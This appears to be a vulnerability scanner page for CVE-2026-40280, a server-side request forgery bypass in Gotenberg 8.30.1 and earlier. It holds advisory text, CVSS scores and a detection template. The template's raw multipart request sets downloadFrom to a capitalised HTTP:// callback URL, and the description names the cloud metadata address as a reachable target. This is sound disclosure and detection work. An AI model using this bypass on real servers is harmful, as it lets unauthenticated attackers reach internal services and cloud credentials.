Gotenberg <= 8.30.1 - Server Side Request Forgery
CVE-2026-40280
Early Release
Description
Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
Severity
Critical
CVSS Score
9.3
Exploit Probability
1%
Affected Product
gotenberg
Published Date
August 6, 2026
Template Author
str4k3r
CVE-2026-40280.yaml
id: CVE-2026-40280
info:
name: Gotenberg <= 8.30.1 - Server Side Request Forgery
author: str4k3r
severity: critical
description: |
Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
impact: |
Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
- https://nvd.nist.gov/vuln/detail/CVE-2026-40280
- https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
classification:
cve-id: CVE-2026-40280
epss-score: 0.01491
epss-percentile: 0.72083
cwe-id: CWE-918
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
metadata:
verified: true
max-request: 1
vendor: thecodingmachine
product: gotenberg
shodan-query: http.html:"Gotenberg"
tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast
http:
- raw:
- |
POST /forms/chromium/convert/html HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----gotenbergProbe
------gotenbergProbe
Content-Disposition: form-data; name="files"; filename="index.html"
Content-Type: text/html
<html><body>ssrf-probe</body></html>
------gotenbergProbe
Content-Disposition: form-data; name="downloadFrom"
[{"url":"HTTP://{{interactsh-url}}"}]
------gotenbergProbe--
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "Gotenberg"
# digest: 4a0a0047304502203726d7108eeeabe9f4bc87d13c547bd25bdb7348ddea624a5ec4e173edcac364022100fc419bda87cb90795bd6ca44f53e2f0061ee9aac8d67ab3a43552c766f9bccb1:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
CVE ID:
cve-2026-40280
CWE ID:
cwe-918
Remediation Steps
This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.